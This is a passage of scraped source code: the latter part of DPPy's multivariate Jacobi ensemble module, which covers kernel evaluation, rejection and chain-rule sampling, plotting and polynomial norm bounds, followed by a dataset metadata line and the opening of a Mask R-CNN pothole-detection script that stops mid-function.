self.norms_1D_polynomials\n\n return np.prod(poly_1D_jacobi[:, self.ordering, range(self.dim)],\n axis=2)\n\n def K(self, X, Y=None, eval_pointwise=False):\n \"\"\"Evalute :math:`\\\\left(K(x, y)\\\\right)_{x\\\\in X, y\\\\in Y}` if ``eval_pointwise=False`` or :math:`\\\\left(K(x, y)\\\\right)_{(x, y)\\\\in (X, Y)}` otherwise\n\n .. math::\n\n K(x, y) = \\\\sum_{\\\\mathfrak{b}(k)=0}^{N-1}\n P_{k}(x) P_{k}(y)\n = \\\\phi(x)^{\\\\top} \\\\phi(y)\n\n where\n\n - :math:`k \\\\in \\\\mathbb{N}^d` is a multi-index ordered according to the ordering :math:`\\\\mathfrak{b}`, :py:meth:`compute_ordering`\n\n - :math:`P_{k}(x) = \\\\prod_{i=1}^d P_{k_i}^{(a_i, b_i)}(x_i)` is the product of orthonormal Jacobi polynomials\n\n .. math::\n\n \\\\int_{-1}^{1}\n P_{k}^{(a_i,b_i)}(u) P_{\\\\ell}^{(a_i,b_i)}(u)\n (1-u)^{a_i} (1+u)^{b_i} d u\n = \\\\delta_{k\\\\ell}\n\n so that :math:`(P_{k})` are orthonormal w.r.t :math:`\\\\mu(dx)`\n\n - :math:`\\\\Phi(x) = \\\\left(P_{\\\\mathfrak{b}^{-1}(0)}(x), \\\\dots, P_{\\\\mathfrak{b}^{-1}(N-1)}(x) \\\\right)`, see :py:meth:`eval_multiD_polynomials`\n\n :param X:\n :math:`M\\\\times d` array of :math:`M` points :math:`\\\\in [-1, 1]^d`\n :type X:\n array_like\n\n :param Y:\n :math:`M'\\\\times d` array of :math:`M'` points :math:`\\\\in [-1, 1]^d`\n :type Y:\n array_like (default None)\n\n :param eval_pointwise:\n sets pointwise evaluation of the kernel, if ``True``, :math:`X` and :math:`Y` must have the same shape, see Returns\n :type eval_pointwise:\n bool (default False)\n\n :return:\n\n If ``eval_pointwise=False`` (default), evaluate the kernel matrix\n\n .. math::\n\n \\\\left(K(x, y)\\\\right)_{x\\\\in X, y\\\\in Y}\n\n If ``eval_pointwise=True`` kernel matrix\n Pointwise evaluation of :math:`K` as depicted in the following pseudo code output\n\n - if ``Y`` is ``None``\n\n - :math:`\\\\left(K(x, y)\\\\right)_{x\\\\in X, y\\\\in X}` if ``eval_pointwise=False``\n - :math:`\\\\left(K(x, x)\\\\right)_{x\\\\in X}` if ``eval_pointwise=True``\n\n - otherwise\n\n - :math:`\\\\left(K(x, y)\\\\right)_{x\\\\in X, y\\\\in Y}` if ``eval_pointwise=False``\n - :math:`\\\\left(K(x, y)\\\\right)_{(x, y)\\\\in (X, Y)}` if ``eval_pointwise=True`` (in this case X and Y should have the same shape)\n :rtype:\n array_like\n\n .. seealso::\n\n :py:meth:`eval_multiD_polynomials`\n \"\"\"\n\n X = np.atleast_2d(X)\n\n if Y is None or Y is X:\n phi_X = self.eval_multiD_polynomials(X)\n if eval_pointwise:\n return inner1d(phi_X, phi_X, axis=1)\n else:\n return phi_X.dot(phi_X.T)\n else:\n len_X = len(X)\n phi_XY = self.eval_multiD_polynomials(np.vstack((X, Y)))\n if eval_pointwise:\n return inner1d(phi_XY[:len_X], phi_XY[len_X:], axis=1)\n else:\n return phi_XY[:len_X].dot(phi_XY[len_X:].T)\n\n def sample_chain_rule_proposal(self, nb_trials_max=10000,\n random_state=None):\n \"\"\"Use a rejection sampling mechanism to sample\n\n .. math::\n\n \\\\frac{1}{N} K(x, x) w(x) dx\n = \\\\frac{1}{N}\n \\\\sum_{\\\\mathfrak{b}(k)=0}^{N-1}\n \\\\left( \\\\frac{P_k(x)}{\\\\left\\\\| P_k \\\\right\\\\|} \\\\right)^2\n w(x)\n\n with proposal distribution\n\n .. math::\n\n w_{eq}(x) d x\n = \\\\prod_{i=1}^{d}\n \\\\frac{1}{\\\\pi\\\\sqrt{1-(x_i)^2}}\n d x_i\n\n Since the target density is a mixture, we can sample from it by\n\n 1. Select a multi-index :math:`k` uniformly at random in :math:`\\\\left\\\\{ \\\\mathfrak{b}^{-1}(0), \\\\dots, \\\\mathfrak{b}^{-1}(N-1) \\\\right\\\\}`\n 2. Sample from :math:`\\\\left( \\\\frac{P_k(x)}{\\\\left\\\\| P_k \\\\right\\\\|} \\\\right)^2 w(x) dx` with proposal :math:`w_{eq}(x) d x`.\n\n The acceptance ratio writes\n\n .. math::\n\n \\\\frac{\n \\\\left( \\\\frac{P_k(x)}{\\\\left\\\\| P_k \\\\right\\\\|} \\\\right)^2\n w(x)}\n {w_{eq}(x)}\n = \\\\prod_{i=1}^{d}\n \\\\pi\n \\\\left(\n \\\\frac{P_{k_i}^{(a_i, b_i)}(x)}\n {\\\\left\\\\| P_{k_i}^{(a_i, b_i)} \\\\right\\\\|}\n \\\\right)^2\n (1-x_i)^{a_i+\\\\frac{1}{2}}\n (1+x_i)^{b_i+\\\\frac{1}{2}}\n \\\\leq C_{k}\n\n which can be bounded using the result of :cite:`Gau09` on Jacobi polynomials.\n\n .. note::\n\n Each of the rejection constant :math:`C_{k}` is computed at initialization of the :py:class:`MultivariateJacobiOPE` object using :py:meth:`compute_rejection_bounds`\n\n :return:\n A sample :math:`x\\\\in[-1,1]^d` with probability distribution :math:`\\\\frac{1}{N} K(x,x) w(x)`\n :rtype:\n array_like\n\n .. seealso::\n\n - :py:meth:`compute_rejection_bounds`\n - :py:meth:`sample`\n \"\"\"\n rng = check_random_state(random_state)\n\n a, b = self.jacobi_params.T\n a_05, b_05 = a + 0.5, b + 0.5\n d = self.dim\n\n ind = rng.randint(self.N)\n k = self.ordering[ind]\n Pk_square_norm = self.square_norms_multiD_polynomials[ind]\n # norm_Pk = self.poly_multiD_norm[ind]\n rejection_bound = self.rejection_bounds[ind]\n\n for trial in range(nb_trials_max):\n\n # Propose x ~ w_eq(x) = \\prod_{i=1}^{d} 1/pi 1/sqrt(1-(x_i)^2)\n # rng.beta is defined as beta(a, b) = x^(a-1) (1-x)^(b-1)\n x = 1.0 - 2.0 * rng.beta(0.5, 0.5, size=self.dim)\n\n # Compute (P_k(x)/||P_k||)^2\n Pk2_x = np.prod(eval_jacobi(k, a, b, x))**2 / Pk_square_norm\n # Pk2_x = (np.prod(eval_jacobi(k, a, b, x)) / norm_Pk)**2\n\n # Compute w(x) / w_eq(x)\n w_over_w_eq =\\\n np.pi**d * np.prod((1.0 - x)**a_05 * (1.0 + x)**b_05)\n\n if rng.rand() * rejection_bound < Pk2_x * w_over_w_eq:\n break\n else:\n print('marginal distribution 1/N K(x,x), rejection fails after {} proposals'.format(trial))\n\n return x\n\n def sample(self, nb_trials_max=10000, random_state=None, tridiag_1D=True):\n \"\"\"Use the chain rule :cite:`HKPV06` (Algorithm 18) to sample :math:`\\\\left(x_{1}, \\\\dots, x_{N} \\\\right)` with density\n\n .. math::\n\n & \\\\frac{1}{N!}\n \\\\left(K(x_n,x_p)\\\\right)_{n,p=1}^{N}\n \\\\prod_{n=1}^{N} w(x_n)\\\\\\\\\n &= \\\\frac{1}{N} K(x_1,x_1) w(x_1)\n \\\\prod_{n=2}^{N}\n \\\\frac{\n K(x_n,x_n)\n - K(x_n,x_{1:n-1})\n \\\\left[\\\\left(K(x_k,x_l)\\\\right)_{k,l=1}^{n-1}\\\\right]^{-1}\n K(x_{1:n-1},x_n)\n }{N-(n-1)}\n w(x_n)\\\\\\\\\n &= \\\\frac{\\\\| \\\\Phi(x) \\\\|^2}{N} \\\\omega(x_1) d x_1\n \\\\prod_{n=2}^{N}\n \\\\frac{\\\\operatorname{distance}^2(\\\\Phi(x_n), \\\\operatorname{span}\\\\{\\\\Phi(x_p)\\\\}_{p=1}^{n-1})}\n {N-(n-1)}\n \\\\omega(x_n) d x_n\n\n The order in which the points were sampled can be forgotten to obtain a valid sample of the corresponding DPP\n\n - :math:`x_1 \\\\sim \\\\frac{1}{N} K(x,x) w(x)` using :py:meth:`sample_chain_rule_proposal`\n\n - :math:`x_n | Y = \\\\left\\\\{ x_{1}, \\\\dots, x_{n-1} \\\\right\\\\}`, is sampled using rejection sampling with proposal density :math:`\\\\frac{1}{N} K(x,x) w(x)` and rejection bound \\\\frac{N}{N-(n-1)}\n\n .. math::\n\n \\\\frac{1}{N-(n-1)} [K(x,x) - K(x, Y) K_Y^{-1} K(Y, x)] w(x)\n \\\\leq \\\\frac{N}{N-(n-1)} \\\\frac{1}{N} K(x,x) w(x)\n\n .. note::\n\n Using the gram structure :math:`K(x, y) = \\\\Phi(x)^{\\\\top} \\\\Phi(y)` the numerator of the successive conditionals reads\n\n .. math::\n\n K(x, x) - K(x, Y) K(Y, Y)^{-1} K(Y, x)\n &= \\\\operatorname{distance}^2(\\\\Phi(x_n), \\\\operatorname{span}\\\\{\\\\Phi(x_p)\\\\}_{p=1}^{n-1})\\\\\\\\\n &= \\\\left\\\\| (I - \\\\Pi_{\\\\operatorname{span}\\\\{\\\\Phi(x_p)\\\\}_{p=1}^{n-1}} \\\\phi(x)\\\\right\\\\|^2\n\n which can be computed simply in a vectorized way.\n The overall procedure is akin to a sequential Gram-Schmidt orthogonalization of :math:`\\\\Phi(x_{1}), \\\\dots, \\\\Phi(x_{N})`.\n\n .. seealso::\n\n - :ref:`continuous_dpps_exact_sampling_projection_dpp_chain_rule`\n - :py:meth:`sample_chain_rule_proposal`\n \"\"\"\n\n rng = check_random_state(random_state)\n\n if self.dim == 1 and tridiag_1D:\n sample = tridiagonal_model(a=self.jacobi_params[0, 0] + 1,\n b=self.jacobi_params[0, 1] + 1,\n size=self.N,\n random_state=rng)[:, None]\n return 1.0 - 2.0 * sample\n\n sample = np.zeros((self.N, self.dim))\n phi = np.zeros((self.N, self.N))\n\n for n in range(self.N):\n\n for trial in range(nb_trials_max):\n\n # Propose a point ~ 1/N K(x,x) w(x)\n sample[n] = self.sample_chain_rule_proposal(random_state=rng)\n\n # Schur complement (numerator of x_n | Y = x_1:n-1)\n # = K(x, x) - K(x, Y) K(Y, Y)^-1 K(Y, x)\n # = ||(I - Proj{phi(Y)}) phi(x)||^2\n phi[n] = self.eval_multiD_polynomials(sample[n])\n K_xx = phi[n].dot(phi[n]) # self.K(sample[n], sample[n])\n phi[n] -= phi[:n].dot(phi[n]).dot(phi[:n])\n schur = phi[n].dot(phi[n])\n\n # accept: x_n = x, or reject\n if rng.rand() < schur / K_xx:\n # normalize phi(x_n) / ||phi(x_n)||\n phi[n] /= np.sqrt(schur)\n break\n else:\n print('conditional x_{} | x_1,...,x_{}, rejection fails after {} proposals'.format(n + 1, n, trial))\n\n return sample\n\n def plot(self, sample, weighted=''):\n\n if self.dim >= 3:\n raise NotImplementedError('Visualizations in d>=3 not implemented')\n\n tols = 5e-2 * np.ones_like(self.jacobi_params)\n tols = np.zeros_like(self.jacobi_params)\n tols[1, 0] = 8e-2\n\n weights = np.ones(len(sample))\n\n if weighted == 'BH':\n # w_n = 1 / K(x_n, x_n)\n weights = 1. / self.K(sample, eval_pointwise=True)\n\n elif weighted == 'EZ':\n Phi_X = self.eval_multiD_polynomials(sample)\n\n idx = np.tile(np.arange(self.N), (self.N, 1))\n idx = idx[~np.eye(idx.shape[0], dtype=bool)].reshape(self.N, -1)\n\n # w_n = +/- c det A / det B\n # = +/- c sgn(det A) sgn(det B) exp(logdet A − logdet B)\n sgn_det_A, log_det_A = np.array(np.linalg.slogdet(Phi_X[idx, 1:]))\n sgn_det_B, log_det_B = np.linalg.slogdet(Phi_X)\n\n np.exp(log_det_A - log_det_B, out=weights)\n weights *= sgn_det_A * sgn_det_B\n weights[1::2] *= -1\n\n weights /= max(weights.min(), weights.max(), key=abs)\n\n ticks_pos = [-1, 0, 1]\n ticks_labs = list(map(str, ticks_pos))\n\n if self.dim == 1:\n\n fig, ax_main = plt.subplots(figsize=(6, 4))\n\n ax_main.tick_params(axis='both', which='major', labelsize=18)\n ax_main.set_xticks(ticks_pos)\n ax_main.set_xticklabels(ticks_labs)\n\n ax_main.spines['right'].set_visible(False)\n ax_main.spines['top'].set_visible(False)\n\n ax_main.scatter(sample[:, 0],\n np.zeros_like(sample[:, 0]),\n s=weights)\n\n ax_main.hist(sample[:, 0],\n bins=10,\n weights=weights,\n density=True,\n orientation='vertical',\n alpha=0.5)\n\n # Top densities\n X_ = np.linspace(-1 + tols[0, 1], 1 - tols[0, 0], 200)[:, None]\n ax_main.plot(X_,\n 0.5 * stats.beta(*(1 + self.jacobi_params[0])).pdf(0.5 * (1 - X_)),\n ls='--', c='red', lw=3, alpha=0.7,\n label=r'$a_1 = {:.2f}, b_1 = {:.2f}$'.format(*self.jacobi_params[0]))\n\n x_lim = ax_main.get_xlim()\n y_lim = ax_main.get_ylim()\n\n if not weighted:\n\n tol = 5e-2\n X_ = np.linspace(-1 + tol, 1 - tol, 200)[:, None]\n ax_main.plot(X_,\n 0.5 * stats.beta(0.5, 0.5).pdf(0.5 * (1 - X_)),\n c='orange', ls='-', lw=3,\n label=r'$a = b = -0.5$')\n\n ax_main.legend(fontsize=15,\n loc='center',\n bbox_to_anchor=(0.5, -0.15 if weighted else -0.17),\n labelspacing=0.1,\n frameon=False)\n\n elif self.dim == 2:\n\n # Create Fig and gridspec\n fig = plt.figure(figsize=(6, 6))\n grid = plt.GridSpec(6, 6, hspace=0., wspace=0.)\n\n ax_main = fig.add_subplot(grid[1:, :-1],\n xticks=ticks_pos, xticklabels=ticks_labs,\n yticks=ticks_pos, yticklabels=ticks_labs)\n\n ax_main.tick_params(axis='both', which='major', labelsize=18)\n\n if weighted == 'EZ':\n weights *= 100\n w_geq_0 = weights >= 0\n ax_main.scatter(sample[w_geq_0, 0],\n sample[w_geq_0, 1],\n s=weights[w_geq_0], alpha=0.7)\n\n ax_main.scatter(sample[~w_geq_0, 0],\n sample[~w_geq_0, 1],\n s=-weights[~w_geq_0], alpha=0.7)\n else:\n weights *= 20\n ax_main.scatter(sample[:, 0],\n sample[:, 1],\n s=weights, alpha=0.8)\n\n x_lim = ax_main.get_xlim()\n y_lim = ax_main.get_ylim()\n\n # Top plot\n ax_top = fig.add_subplot(grid[0, :-1],\n xticks=ticks_pos, xticklabels=[],\n yticks=[], yticklabels=[],\n frameon=False)\n ax_top.set_xlim(x_lim)\n\n # Top histogram\n ax_top.hist(sample[:, 0],\n bins=10,\n weights=np.abs(weights),\n density=True,\n orientation='vertical',\n alpha=0.5)\n\n # Top densities\n X_ = np.linspace(-1 + tols[0, 1], 1 - tols[0, 0], 200)[:, None]\n l_top, = ax_top.plot(X_,\n 0.5 * stats.beta(*(1 + self.jacobi_params[0])).pdf(0.5 * (1 - X_)),\n ls='--', c='red', lw=3, alpha=0.7)\n\n # Right plot\n ax_right = fig.add_subplot(grid[1:, -1],\n xticks=[], xticklabels=[],\n yticks=ticks_pos, yticklabels=[],\n frameon=False)\n ax_right.set_ylim(y_lim)\n\n # Right histogram\n ax_right.hist(sample[:, 1],\n bins=10,\n weights=np.abs(weights),\n density=True,\n orientation='horizontal',\n alpha=0.5)\n\n # Right densities\n X_ = np.linspace(-1 + tols[1, 1], 1 - tols[1, 0], 200)[:, None]\n l_right, = ax_right.plot(0.5 * stats.beta(*(1 + self.jacobi_params[1])).pdf(0.5 * (1 - X_)),\n X_,\n ls='--', c='green', lw=3, alpha=0.7)\n\n leg_axes = [l_top, l_right]\n leg_text = [', '.join([r'$a_{} = {:.2f}$'.format(i+1, jac_par[0]),\n r'$b_{} = {:.2f}$'.format(i+1, jac_par[1])])\n for i, jac_par in enumerate(self.jacobi_params)]\n\n if not weighted:\n\n tol = 5e-2\n X_ = np.linspace(-1 + tol, 1 - tol, 200)[:, None]\n l_arcsine, = ax_top.plot(X_,\n 0.5 * stats.beta(0.5, 0.5).pdf(0.5 * (1 - X_)),\n c='orange', ls='-', lw=3)\n ax_right.plot(0.5 * stats.beta(0.5, 0.5).pdf(0.5 * (1 - X_)),\n X_,\n c='orange', ls='-', lw=3)\n\n leg_axes.append(l_arcsine)\n leg_text.append(r'$a = b = -0.5$')\n\n ax_main.legend(leg_axes,\n leg_text,\n fontsize=15,\n loc='center',\n bbox_to_anchor=(0.5, -0.15 if weighted else -0.18),\n labelspacing=0.1,\n frameon=False)\n\n\ndef compute_ordering(N, d):\n \"\"\" Compute the ordering of the multi-indices :math:`\\\\in\\\\mathbb{N}^d` defining the order between the multivariate monomials as described in Section 2.1.3 of :cite:`BaHa16`.\n\n :param N:\n Number of polynomials :math:`(P_k)` considered to build the kernel :py:meth:`~dppy.multivariate_jacobi_ope.MultivariateJacobiOPE.K` (number of points of the corresponding :py:class:`MultivariateJacobiOPE`)\n :type N:\n int\n\n :param d:\n Size of the multi-indices :math:`k\\\\in \\\\mathbb{N}^d` characterizing the _degree_ of :math:`P_k` (ambient dimension of the points x_{1}, \\\\dots, x_{N} \\\\in [-1, 1]^d)\n :type d:\n int\n\n :return:\n Array of size :math:`N\\\\times d` containing the first :math:`N` multi-indices :math:`\\\\in\\\\mathbb{N}^d` in the order prescribed by the ordering :math:`\\\\mathfrak{b}` :cite:`BaHa16` Section 2.1.3\n :rtype:\n array_like\n\n For instance, for :math:`N=12, d=2`\n\n .. code:: python\n\n [(0, 0), (0, 1), (1, 0), (1, 1), (0, 2), (1, 2), (2, 0), (2, 1), (2, 2), (0, 3), (1, 3), (2, 3)]\n\n .. seealso::\n\n - :cite:`BaHa16` Section 2.1.3\n \"\"\"\n layer_max = np.floor(N**(1.0 / d)).astype(np.int16)\n\n ordering = itt.chain.from_iterable(\n filter(lambda x: m in x,\n itt.product(range(m + 1), repeat=d))\n for m in range(layer_max + 1))\n\n return list(ordering)[:N]\n\n\ndef compute_norms_1D_polynomials(jacobi_params, deg_max):\n \"\"\" Compute the square norms :math:`\\\\|P_{k}^{(a_i,b_i)}\\\\|^2` of each (univariate) orthogoanl Jacobi polynomial for :math:`k=0` to ``deg_max`` and :math:`a_i, b_i =` ``jacobi_params[i, :]``\n Recall that the Jacobi polynomials :math:`\\\\left( P_{k}^{(a_i,b_i)} \\\\right)` are `orthogonal `_ w.r.t. :math:`(1-u)^{a_i} (1+u)^{b_i} du`.\n\n .. math::\n\n \\\\|P_{k}^{(a_i,b_i)}\\\\|^2\n &= \\\\int_{-1}^{1}\n \\\\left( P_{k}^{(a_i,b_i)}(u) \\\\right)^2\n (1-u)^{a_i} (1+u)^{b_i} d u\\\\\\\\\n &= \\\\frac{2^{a_i+b_i+1}}\n {2k+a_i+b_i+1}\n \\\\frac{\\\\Gamma(k+a_i+1)\\\\Gamma(k+b_i+1)}\n {\\\\Gamma(k+a_i+b_i+1)n!}\n\n :param jacobi_params:\n Jacobi parameters :math:`[(a_i, b_i)]_{i=1}^d \\\\in [-\\\\frac{1}{2}, \\\\frac{1}{2}]^{d \\\\times 2}`\n The number of rows :math:`d` prescribes the ambient dimension of the points i.e. :math:`x_{1}, \\\\dots, x_{N} \\\\in [-1, 1]^d`\n :type jacobi_params:\n array_like\n\n :param deg_max:\n Maximal degree of 1D Jacobi polynomials\n :type deg_max:\n int\n\n :return:\n Array of size ``deg_max + 1`` :math:`\\\\times d` with entry :math:`k,i` given by :math:`\\\\|P_{k}^{(a_i,b_i)}\\\\|^2`\n :rtype:\n array_like\n\n .. seealso::\n\n - `Wikipedia Jacobi polynomials `_\n - :py:meth:`compute_ordering`\n \"\"\"\n\n # Initialize\n # - [square_norms]_ij = ||P_i^{a_j, b_j}||^2\n dim = jacobi_params.size // 2\n square_norms = np.zeros((deg_max + 1, dim))\n\n n = np.arange(1, deg_max + 1)[:, None]\n\n arcsine = np.all(jacobi_params == -0.5, axis=1)\n if any(arcsine):\n # |P_0|^2 = pi\n # |P_n|^2 = 1/2 (Gamma(n+1/2)/n!)^2 otherwise\n square_norms[0, arcsine] = np.pi\n square_norms[1:, arcsine] =\\\n 0.5 * np.exp(2 * (gammaln(n + 0.5) - gammaln(n + 1)))\n # 0.5 * (gamma(n + 0.5) / factorial(n))**2\n\n non_arcsine = np.any(jacobi_params != -0.5, axis=1)\n if any(non_arcsine):\n # |P_n|^2 =\n # 2^(a + b + 1) Gamma(n + 1 + a) Gamma(n + 1 + b)\n # n! (2n + a + b + 1) Gamma(n + 1 + a + b)\n a = jacobi_params[non_arcsine, 0]\n b = jacobi_params[non_arcsine, 1]\n\n square_norms[0, non_arcsine] = 2**(a + b + 1) * beta(a + 1, b + 1)\n\n square_norms[1:, non_arcsine] = np.exp((a + b + 1) * np.log(2)\n + gammaln(n + 1 + a)\n + gammaln(n + 1 + b)\n - gammaln(n + 1)\n - np.log(2 * n + 1 + a + b)\n - gammaln(n + 1 + a + b))\n\n return np.sqrt(square_norms)\n\n\ndef compute_rejection_bounds(jacobi_params, ordering, log_scale=True):\n \"\"\" Compute the rejection constants for the acceptance/rejection mechanism used in :py:meth:`sample_chain_rule_proposal` to sample\n\n .. math::\n\n \\\\frac{1}{N} K(x, x) w(x) dx\n = \\\\frac{1}{N}\n \\\\sum_{\\\\mathfrak{b}(k)=0}^{N-1}\n \\\\left( \\\\frac{P_k(x)}{\\\\left\\\\| P_k \\\\right\\\\|} \\\\right)^2\n w(x)\n\n with proposal distribution\n\n .. math::\n\n w_{eq}(x) d x\n = \\\\prod_{i=1}^{d} \\\\frac{1}{\\\\pi\\\\sqrt{1-(x_i)^2}} d x_i\n\n To get a sample:\n\n 1. Draw a multi-index :math:`k` uniformly at random in :math:`\\\\left\\\\{ \\\\mathfrak{b}^{-1}(0), \\\\dots, \\\\mathfrak{b}^{-1}(N-1) \\\\right\\\\}`\n 2. Sample from :math:`P_k(x)^2 w(x) dx` with proposal :math:`w_{eq}(x) d x`.\n\n The acceptance ratio writes\n\n .. math::\n\n \\\\frac{\\\\left( \\\\frac{P_k(x)}{\\\\left\\\\| P_k \\\\right\\\\|} \\\\right)^2\n w(x)}\n {w_{eq}(x)}\n = \\\\prod_{i=1}^{d}\n \\\\pi\n \\\\left(\n \\\\frac{P_{k_i}^{(a_i, b_i)}(x)}\n {\\\\left\\\\| P_{k_i}^{(a_i, b_i)} \\\\right\\\\|}\n \\\\right)^2\n (1-x_i)^{a_i+\\\\frac{1}{2}}\n (1+x_i)^{b_i+\\\\frac{1}{2}}\n \\\\leq C_k\n\n - For :math:`k_i>0` we use a result on Jacobi polynomials given by, e.g., :cite:`Gau09`, for :math:`\\\\quad|a|,|b| \\\\leq \\\\frac{1}{2}`\n\n .. math::\n\n &\n \\\\pi\n (1-u)^{a+\\\\frac{1}{2}}\n (1+u)^{b+\\\\frac{1}{2}}\n \\\\left(\n \\\\frac{P_{n}^{(a, b)}(u)}\n {\\\\left\\\\| P_{n}^{(a, b)} \\\\right\\\\|}\n \\\\right)^2\\\\\\\\\n &\\\\leq\n \\\\frac{2}\n {n!(n+(a+b+1) / 2)^{2 \\\\max(a,b)}}\n \\\\frac{\\\\Gamma(n+a+b+1)\n \\\\Gamma(n+\\\\max(a,b)+1)}\n {\\\\Gamma(n+\\\\min(a,b)+1)}\n\n - For :math:`k_i=0`, we use less involved properties of the `Jacobi polynomials `_:\n\n - :math:`P_{0}^{(a, b)} = 1`\n - :math:`\\\\|P_{0}^{(a, b)}\\\\|^2 = 2^{a+b+1} \\\\operatorname{B}(a+1,b+1)`\n - :math:`m = \\\\frac{b-a}{a+b+1}` is the mode of :math:`(1-u)^{a+\\\\frac{1}{2}} (1+u)^{b+\\\\frac{1}{2}}` (valid since :math:`a+\\\\frac{1}{2}, b+\\\\frac{1}{2} > 0`)\n\n So that,\n\n .. math::\n\n \\\\pi\n (1-u)^{a+\\\\frac{1}{2}}\n (1+u)^{b+\\\\frac{1}{2}}\n \\\\left(\\\\frac{P_{0}^{(a, b)}(u)}\n {\\\\|P_{0}^{(a, b)}\\\\|}\\\\right)^{2}\n &=\n \\\\frac\n {\\\\pi\n (1-u)^{a+\\\\frac{1}{2}}\n (1+u)^{b+\\\\frac{1}{2}}}\n {\\\\|P_{0}^{(a, b)}\\\\|^2} \\\\\\\\\n &\\\\leq\n \\\\frac\n {\\\\pi\n (1-m)^{a+\\\\frac{1}{2}}\n (1+m)^{b+\\\\frac{1}{2}}}\n {2^{a+b+1} \\\\operatorname{B}(a+1,b+1)}\n\n :param jacobi_params:\n Jacobi parameters :math:`[(a_i, b_i)]_{i=1}^d \\\\in [-\\\\frac{1}{2}, \\\\frac{1}{2}]^{d \\\\times 2}`.\n\n The number of rows :math:`d` prescribes the ambient dimension of the points i.e. :math:`x_{1}, \\\\dots, x_{N} \\\\in [-1, 1]^d`\n :type jacobi_params:\n array_like\n\n :param ordering:\n Ordering of the multi-indices :math:`\\\\in\\\\mathbb{N}^d` defining the order between the multivariate monomials (see also :py:meth:`compute_ordering`)\n\n - the number of rows corresponds to the number :math:`N` of monomials considered.\n - the number of columns :math:`=d`\n\n :type ordering:\n array_like\n\n :param log_scale:\n If True, the rejection bound is computed using the logarithmic versions ``betaln``, ``gammaln`` of ``beta`` and ``gamma`` functions to avoid overflows\n\n :type log_scale:\n bool\n\n :return:\n The rejection bounds :math:`C_{k}` for :math:`k = \\\\mathfrak{b}^{-1}(0), \\\\dots, \\\\mathfrak{b}^{-1}(N-1)`\n\n :rtype:\n array_like\n\n .. seealso::\n\n - :cite:`Gau09` for the domination when :math:`k_i > 0`\n - :py:meth:`compute_poly1D_norms`\n \"\"\"\n\n # Initialize [bounds]_ij on\n # pi (1-x)^(a_j+1/2) (1+x)^(b_j+1/2) P_i^2/||P_i||^2\n deg_max, dim = np.max(ordering), jacobi_params.size // 2\n bounds = np.zeros((deg_max + 1, dim))\n\n arcsine = np.all(jacobi_params == -0.5, axis=1)\n if any(arcsine):\n bounds[0, arcsine] = 0.0 if log_scale else 1.0\n bounds[1:, arcsine] = np.log(2.0) if log_scale else 2.0\n\n non_arcsine = np.any(jacobi_params != -0.5, axis=1)\n if any(non_arcsine):\n # bounds[non_arcsine, 0]\n # = pi * (1-mode)^(a+1/2) (1+mode)^(b+1/2) * 1 / ||P_0||^2\n # where mode = argmax (1-x)^(a+1/2) (1+x)^(b+1/2) = (b-a)/(a+b+1)\n a = jacobi_params[non_arcsine, 0]\n b = jacobi_params[non_arcsine, 1]\n\n mode = (b - a) / (a + b + 1)\n\n if log_scale:\n log_square_norm_P_0 =\\\n (a + b + 1) * np.log(2) + betaln(a + 1, b + 1)\n bounds[0, non_arcsine] =\\\n np.log(np.pi)\\\n + (0.5 + a) * np.log(1 - mode)\\\n + (0.5 + b) * np.log(1 + mode)\\\n - log_square_norm_P_0\n else:\n square_norm_P_0 = 2**(a + b + 1) * beta(a + 1, b + 1)\n bounds[0, non_arcsine] =\\\n np.pi\\\n * (1 - mode)**(0.5 + a)\\\n * (1 + mode)**(0.5 + b)\\\n / square_norm_P_0\n\n # bounds[1:, non_arcsine] =\n # 2 * Gamma(n + 1 + a + b) Gamma(n + 1 + max(a,b))\n # n! * (n+(a+b+1)/2)^(2 * max(a,b)) * Gamma(n + 1 + min(a,b))\n min_a_b = np.minimum(a, b)\n max_a_b = np.maximum(a, b)\n\n n = np.arange(1, deg_max + 1)[:, None]\n\n if log_scale:\n bounds[1:, non_arcsine] =\\\n np.log(2)\\\n + gammaln(n + 1 + a + b)\\\n + gammaln(n + 1 + max_a_b)\\\n - gammaln(n + 1)\\\n - 2 * max_a_b * np.log(n + 0.5 * (a + b + 1))\\\n - gammaln(n + 1 + min_a_b)\n else:\n bounds[1:, non_arcsine] =\\\n 2\\\n * gamma(n + 1 + a + b)\\\n * gamma(n + 1 + max_a_b)\\\n / factorial(n)\\\n / (n + 0.5 * (a + b + 1))**(2 * max_a_b)\\\n / gamma(n + 1 + min_a_b)\n\n if log_scale:\n return np.exp(np.sum(bounds[ordering, range(dim)], axis=1))\n else:\n return np.prod(bounds[ordering, range(dim)], axis=1)\n\n\ndef compute_degrees_1D_polynomials(max_degrees):\n \"\"\" deg[i, j] = i if i <= max_degrees[j] else 0\n \"\"\"\n\n max_deg, dim = max(max_degrees), len(max_degrees)\n degrees = np.tile(np.arange(max_deg + 1)[:, None], (1, dim))\n degrees[degrees > max_degrees] = 0\n\n return max_deg, degrees\n","repo_name":"guilgautier/DPPy","sub_path":"dppy/multivariate_jacobi_ope.py","file_name":"multivariate_jacobi_ope.py","file_ext":"py","file_size_in_byte":36593,"program_lang":"python","lang":"en","doc_type":"code","stars":212,"dataset":"github-code","pt":"35"} +{"seq_id":"12024558923","text":"from mrcnn import model as modellib, utils\nfrom mrcnn.config import Config\n\nimport os\nimport sys\nimport json\nimport datetime\nimport numpy as np\nimport skimage.draw\nimport cv2\nfrom mrcnn.visualize import display_instances\nimport matplotlib.pyplot as plt\nfrom numpyencoder import NumpyEncoder\n\nrng = np.random\n\n# Root directory of the project\nROOT_DIR = os.path.dirname(os.path.realpath(__file__))\nDEFAULT_LOGS_DIR = os.path.join(ROOT_DIR, \"logs\")\n\nclass CustomConfig(Config):\n NAME = \"damage\"\n IMAGES_PER_GPU = 3\n NUM_CLASSES = 1 + 1 # Background + 1 Pothole\n STEPS_PER_EPOCH = 1000\n VALIDATION_STEPS = 50\n # Skip detections with < 90% confidence\n # DETECTION_MIN_CONFIDENCE = 0.9\n # IMAGE_MAX_DIM=800\n # IMAGE_MIN_DIM=800\n\ndef color_splash(image, mask):\n \"\"\"Apply color splash effect.\n image: RGB image [height, width, 3]\n mask: instance segmentation mask [height, width, instance count]\n\n Returns result image.\n \"\"\"\n # Make a grayscale copy of the image. The grayscale copy still\n # has 3 RGB channels, though.\n gray = skimage.color.gray2rgb(skimage.color.rgb2gray(image)) * 255\n # We're treating all instances as one, so collapse the mask into one layer\n mask = (np.sum(mask, -1, keepdims=True) >= 1)\n # Copy color pixels from the original color image where mask is set\n if mask.shape[0] > 0:\n splash = np.where(mask, image, gray).astype(np.uint8)\n else:\n splash = gray\n return splash\n\n\ndef detect_and_color_splash(model, image_path=None):\n 